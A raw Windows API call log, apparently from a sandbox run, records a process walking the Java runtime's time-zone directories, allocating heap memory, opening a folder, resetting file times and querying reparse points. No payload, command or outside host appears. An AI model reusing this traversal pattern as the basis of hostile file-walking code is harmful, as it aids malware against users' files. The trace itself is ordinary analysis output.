hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cape_Verde", cAlternateFileName="")) returned 1 [0088.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfda8 [0088.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13299f8 [0088.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.703] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faroe", cAlternateFileName="")) returned 1 [0088.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfdc8 [0088.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329a80 [0088.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8a80) returned 0x12ea380 [0088.705] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madeira", cAlternateFileName="")) returned 1 [0088.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfde8 [0088.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329b08 [0088.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.706] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reykjavik", cAlternateFileName="")) returned 1 [0088.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfe08 [0088.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329b90 [0088.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.708] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="South_Georgia", cAlternateFileName="")) returned 1 [0088.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfe28 [0088.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329c18 [0088.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.709] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stanley", cAlternateFileName="")) returned 1 [0088.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfe48 [0088.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329ca0 [0088.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.711] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="")) returned 1 [0088.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfe68 [0088.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329d28 [0088.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="")) returned 0 [0088.713] GetLastError () returned 0x12 [0088.713] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.713] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Azores", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bermuda", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="Canary", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cape_Verde", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faroe", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Madeira", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reykjavik", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="South_Georgia", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stanley", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="")) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Helena", cAlternateFileName="")) returned 0 [0088.713] GetLastError () returned 0x12 [0088.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.714] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.715] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Australia", cAlternateFileName="")) returned 1 [0088.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.716] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.716] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.717] NtClose (Handle=0x178) returned 0x0 [0088.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.718] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.719] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.719] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adelaide", cAlternateFileName="")) returned 1 [0088.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfe88 [0088.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329db0 [0088.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.721] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brisbane", cAlternateFileName="")) returned 1 [0088.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfea8 [0088.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329e38 [0088.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.723] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Broken_Hill", cAlternateFileName="")) returned 1 [0088.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfec8 [0088.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329ec0 [0088.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.724] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currie", cAlternateFileName="")) returned 1 [0088.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bfee8 [0088.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329f48 [0088.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.726] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Darwin", cAlternateFileName="")) returned 1 [0088.726] RtlAllocateHeap (HeapHandle=0x940000, 